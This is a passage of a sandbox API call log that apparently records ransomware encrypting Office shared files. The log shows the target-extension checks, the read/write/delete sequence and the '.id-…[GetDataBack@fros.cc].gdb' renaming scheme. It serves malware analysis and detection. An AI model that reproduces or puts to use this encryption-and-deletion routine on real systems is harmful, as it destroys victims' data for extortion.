liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.815] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0128.815] GetLastError () returned 0x0 [0128.816] ReadFile (in: hFile=0x1fc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x4c45, lpOverlapped=0x0) returned 1 [0128.817] WriteFile (in: hFile=0x208, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x4c50, lpOverlapped=0x0) returned 1 [0128.819] ReadFile (in: hFile=0x1fc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0128.819] WriteFile (in: hFile=0x208, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0128.819] SetEndOfFile (hFile=0x208) returned 1 [0128.819] CloseHandle (hObject=0x208) returned 1 [0128.819] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.819] SetEndOfFile (hFile=0x1fc) returned 1 [0128.820] CloseHandle (hObject=0x1fc) returned 1 [0128.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.820] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 1 [0128.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0128.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0128.821] lstrlenW (lpString=".doc") returned 4 [0128.821] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.821] lstrlenW (lpString=".docx") returned 5 [0128.821] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.821] lstrlenW (lpString=".pdf") returned 4 [0128.821] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.821] lstrlenW (lpString=".xls") returned 4 [0128.821] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.821] lstrlenW (lpString=".xlsx") returned 5 [0128.821] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.821] lstrlenW (lpString=".ppt") returned 4 [0128.821] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0128.821] lstrlenW (lpString=".zip") returned 4 [0128.821] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.821] lstrlenW (lpString=".rar") returned 4 [0128.821] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.821] lstrlenW (lpString=".bz2") returned 4 [0128.821] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.821] lstrlenW (lpString=".7z") returned 3 [0128.821] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0128.821] lstrlenW (lpString=".dbf") returned 4 [0128.821] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0128.821] lstrlenW (lpString=".1cd") returned 4 [0128.822] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0128.822] lstrlenW (lpString=".jpg") returned 4 [0128.822] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0128.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0128.822] lstrlenW (lpString=".doc") returned 4 [0128.822] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.822] lstrlenW (lpString=".docx") returned 5 [0128.822] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.822] lstrlenW (lpString=".pdf") returned 4 [0128.822] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.822] lstrlenW (lpString=".xls") returned 4 [0128.822] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.822] lstrlenW (lpString=".xlsx") returned 5 [0128.822] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.822] lstrlenW (lpString=".ppt") returned 4 [0128.822] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0128.822] lstrlenW (lpString=".zip") returned 4 [0128.822] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.822] lstrlenW (lpString=".rar") returned 4 [0128.822] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.822] lstrlenW (lpString=".bz2") returned 4 [0128.822] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.822] lstrlenW (lpString=".7z") returned 3 [0128.822] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0128.822] lstrlenW (lpString=".dbf") returned 4 [0128.822] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0128.822] lstrlenW (lpString=".1cd") returned 4 [0128.822] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0128.823] lstrlenW (lpString=".jpg") returned 4 [0128.823] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.823] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0128.823] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0128.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.825] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1571) returned 1 [0128.825] CloseHandle (hObject=0x1fc) returned 1 [0128.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0128.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.825] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.825] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0128.828] GetLastError () returned 0x0 [0128.828] ReadFile (in: hFile=0x1fc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x623, lpOverlapped=0x0) returned 1 [0128.830] WriteFile (in: hFile=0x208, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x630, lpOverlapped=0x0) returned 1 [0128.831] ReadFile (in: hFile=0x1fc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0128.831] WriteFile (in: hFile=0x208, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xea, lpOverlapped=0x0) returned 1 [0128.831] SetEndOfFile (hFile=0x208) returned 1 [0128.831] CloseHandle (hObject=0x208) returned 1 [0128.832] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.832] SetEndOfFile (hFile=0x1fc) returned 1 [0128.832] CloseHandle (hObject=0x1fc) returned 1 [0128.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.833] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1 [0128.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0128.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0128.833] lstrlenW (lpString=".doc") returned 4 [0128.833] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.833] lstrlenW (lpString=".docx") returned 5 [0128.833] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.833] lstrlenW (lpString=".pdf") returned 4 [0128.833] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.833] lstrlenW (lpString=".xls") returned 4 [0128.833] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.833] lstrlenW (lpString=".xlsx") returned 5 [0128.833] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.834] lstrlenW (lpString=".ppt") returned 4 [0128.834] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0128.834] lstrlenW (lpString=".zip") returned 4 [0128.834] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.834] lstrlenW (lpString=".rar") returned 4 [0128.834] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.834] lstrlenW (lpString=".bz2") returned 4 [0128.834] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.834] lstrlenW (lpString=".7z") returned 3 [0128.834] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0128.834] lstrlenW (lpString=".dbf") returned 4 [0128.834] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0128.834] lstrlenW (lpString=".1cd") returned 4 [0128.834] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0128.834] lstrlenW (lpString=".jpg") returned 4 [0128.834] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0128.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0128.834] lstrlenW (lpString=".doc") returned 4 [0128.834] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.834] lstrlenW (lpString=".docx") returned 5 [0128.834] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.834] lstrlenW (lpString=".pdf") returned 4 [0128.834] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.834] lstrlenW (lpString=".xls") returned 4 [0128.834] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.834] lstrlenW (lpString=".xlsx") returned 5 [0128.834] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.834] lstrlenW (lpString=".ppt") returned 4 [0128.834] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0128.835] lstrlenW (lpString=".zip") returned 4 [0128.835] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.835] lstrlenW (lpString=".rar") returned 4 [0128.835] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.835] lstrlenW (lpString=".bz2") returned 4 [0128.835] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.835] lstrlenW (lpString=".7z") returned 3 [0128.835] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0128.835] lstrlenW (lpString=".dbf") returned 4 [0128.835] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0128.835] lstrlenW (lpString=".1cd") returned 4 [0128.835] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0128.835] lstrlenW (lpString=".jpg") returned 4 [0128.835] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.835] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0128.835] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0128.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.836] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=30170) returned 1 [0128.836] CloseHandle (hObject=0x1fc) returned 1 [0128.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0128.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.837] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.837] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0128.837] GetLastError () returned 0x0 [0128.837] ReadFile (in: hFile=0x1fc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x75da, lpOverlapped=0x0) returned 1 [0128.839] WriteFile (in: hFile=0x208, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x75e0, lpOverlapped=0x0) returned 1 [0128.841] ReadFile (in: hFile=0x1fc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0128.841] WriteFile (in: hFile=0x208, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0128.841] SetEndOfFile (hFile=0x208) returned 1 [0128.841] CloseHandle (hObject=0x208) returned 1 [0128.842] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.842] SetEndOfFile (hFile=0x1fc) returned 1 [0128.843] CloseHandle (hObject=0x1fc) returned 1 [0128.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.843] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1 [0128.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0128.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0128.843] lstrlenW (lpString=".doc") returned 4 [0128.843] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.843] lstrlenW (lpString=".docx") returned 5 [0128.843] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.843] lstrlenW (lpString=".pdf") returned 4 [0128.843] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.844] lstrlenW (lpString=".xls") returned 4 [0128.844] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.844] lstrlenW (lpString=".xlsx") returned 5 [0128.844] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.844] lstrlenW (lpString=".ppt") returned 4 [0128.844] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0128.844] lstrlenW (lpString=".zip") returned 4 [0128.844] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.844] lstrlenW (lpString=".rar") returned 4 [0128.844] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.844] lstrlenW (lpString=".bz2") returned 4 [0128.844] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.844] lstrlenW (lpString=".7z") returned 3 [0128.844] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0128.844] lstrlenW (lpString=".dbf") returned 4 [0128.844] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0128.844] lstrlenW (lpString=".1cd") returned 4 [0128.844] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0128.844] lstrlenW (lpString=".jpg") returned 4 [0128.844] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0128.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0128.844] lstrlenW (lpString=".doc") returned 4 [0128.844] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.844] lstrlenW (lpString=".docx") returned 5 [0128.844] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.844] lstrlenW (lpString=".pdf") returned 4 [0128.844] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.844] lstrlenW (lpString=".xls") returned 4 [0128.844] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.844] lstrlenW (lpString=".xlsx") returned 5 [0128.845] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.845] lstrlenW (lpString=".ppt") returned 4 [0128.845] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0128.845] lstrlenW (lpString=".zip") returned 4 [0128.845] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.845] lstrlenW (lpString=".rar") returned 4 [0128.845] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.845] lstrlenW (lpString=".bz2") returned 4 [0128.845] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.845] lstrlenW (lpString=".7z") returned 3 [0128.845] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0128.845] lstrlenW (lpString=".dbf") returned 4 [0128.845] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0128.845] lstrlenW (lpString=".1cd") returned 4 [0128.845] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0128.845] lstrlenW (lpString=".jpg") returned 4 [0128.845] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.845] lstrcmpiW (lpString1=".CHM", lpString2=".gdb") returned -1 [0128.845] lstrlenW (lpString="FM20.CHM") returned 8 [0128.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.848] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=334427) returned 1 [0128.848] CloseHandle (hObject=0x1fc) returned 1 [0128.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0128.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 